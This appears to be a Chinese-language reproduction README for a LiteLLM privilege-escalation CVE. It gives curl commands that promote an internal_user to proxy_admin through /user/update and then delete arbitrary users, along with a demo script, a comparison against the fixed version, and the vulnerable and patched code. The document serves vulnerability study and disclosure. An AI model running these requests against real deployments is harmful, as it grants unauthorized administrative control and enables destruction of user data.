/user/updateLiteLLM v1.83.7(v1.83.10 之前版本)的
/user/update端点允许拥有该端点访问权限的 低权限用户在更新自己的账户时将user_role字段修改为proxy_admin, 实现未授权的权限提升。
| Field | Value |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Incorrect Authorization) |
| Affected | LiteLLM < 1.83.10(确认于 v1.83.7) |
| Fixed | v1.83.10+(新增 user_role 字段修改权限校验) |
| Published | 2026-05-21 |
| Discovered by | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
LiteLLM 的 /user/update 端点用于更新用户属性。在受影响的版本中,/user/update
的 can_user_call_user_update() 函数会检查用户是否有权更新指定用户(允许用户更新
自己的记录),但不对可修改的字段做任何限制。
这意味着任何能够访问 /user/update 端点的用户(例如,被管理员授予了该路由权限的
用户,或通过其他漏洞获得该端点访问权限的攻击者),都可以通过修改自己的 user_role
字段将自身角色提升为 proxy_admin,获得对所有管理端点的完全访问权限。
Admin 为 internal_user 创建带有 /user/update 路由权限的 API key
→ internal_user 获得 route-level 访问权限
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ 角色提升为 proxy_admin
→ GET /user/list (验证管理员访问权限)
两个漏洞可串联使用:CVE-2026-47101 用于创建通配符路由 key(访问
/user/update), CVE-2026-47102 用于将自己的角色提升为proxy_admin。
# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.83.7-stable)
docker compose up -d litellm
# 等待服务就绪(约 10-30 秒)
sleep 15
# 检查容器日志
docker logs litellm-47102-privesc 2>&1 | tail -10
预期输出应包含 Uvicorn running on http://0.0.0.0:4000 等启动成功的日志。
使用 master key 创建一个低权限的 internal_user 账户:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
预期输出:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
管理员为 internal_user 创建带有 /user/update 路由访问权限的 API key。
这是在真实环境中拥有 /user/update 端点访问权限的典型方式:
# 使用 master key 创建带有 /user/update 路由的 key
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
预期输出:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
使用上一步获得的带有 /user/update 路由权限的 key,将用户角色提升为 proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
预期输出:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ 漏洞点:
user_role已从internal_user变更为proxy_admin!/user/update端点允许用户修改自己的user_role字段,未做任何字段级权限限制。
通过 /user/list 端点验证角色提升生效(使用原始 internal_user 的 API key,
该 key 无路由限制,提升为 proxy_admin 后自动获得管理权限):
# 使用已提升为 proxy_admin 的 key(原始 internal_user key,无路由限制)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
预期输出:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
利用获得的 proxy_admin 权限,可以通过 /user/delete 删除任意用户
(同样使用原始 internal_user 的 API key):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
预期输出:
1
以上步骤已整合为 demo.sh,可直接执行:
# 完整复现(包含漏洞版 + 修复版对比)
bash demo.sh
启动修复版本(v1.83.10-stable)验证 CVE-2026-47102 已被修复:
docker compose --profile fixed up -d litellm-fixed
创建 internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
创建带有 /user/update 路由的 key:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
尝试提升权限(预期被阻止):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
预期输出(修复版本阻止越权请求):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
与有漏洞版本对比:
| 测试场景 | 有漏洞版本 (v1.83.7) | 修复版本 (v1.83.10) |
|---|---|---|
| 路由 key 修改 user_role | ✅ 成功提升为 proxy_admin | ❌ 被阻止("Only proxy admins can modify user roles.") |
| 访问 /user/list | ✅ 成功获取用户列表 | ❌ 被阻止 |
漏洞根因位于 /user/update 端点的 can_user_call_user_update() 函数:
/user/update — 缺少字段级权限校验# 有漏洞的代码 — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员可以更新任何用户
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ 用户可以更新自己的记录 — 包括 user_role 字段!
return False
修复方案(v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # 管理员仍然可以更新任何用户和字段
elif user_api_key_dict.user_id == user_info.user_id:
# 限制非管理员可修改的字段
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
攻击者需要有一个能够访问 /user/update 端点的 API key。这可以通过以下方式获得:
/user/update 路由的 key/key/generate 的 wildcard 路由漏洞创建通配符 key/user/updateStep 1: 获得带有 /user/update 路由权限的 API key
Step 2: 调用 /user/update 提升角色:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
Step 3: 验证管理员权限:
GET /user/list
Authorization: Bearer sk-route-key
修复版本在 /user/update 中增加了字段级权限校验:
metadata 等非关键字段user_role 字段 — 只有 proxy_admin 可以修改用户角色错误信息:"Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # This file
├── CVE-2026-47102_漏洞复现报告.docx # Reproduction report (Chinese)
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml # LiteLLM config with database connection
├── requirements.txt # Python dependencies
├── demo.sh # One-click reproduction script
├── exploit/
│ ├── exploit.py # Python exploit script
│ └── payload.py # Payload builders
├── docs/
└── screenshots/
/user/update calls with user_role changes for anomalous activityDisclaimer: This content is provided for educational purposes and authorized security testing only.
| 对比项 | CVE-2026-47101 | CVE-2026-47102 |
|---|
| 漏洞焦点 | /key/generate 未校验 allowed_routes | /user/update 缺少字段级权限 |
| 攻击前提 | internal_user 可直接调用 /key/generate | 需先获得 /user/update 路由访问权 |
| 修复版本 | v1.83.14 | v1.83.10 |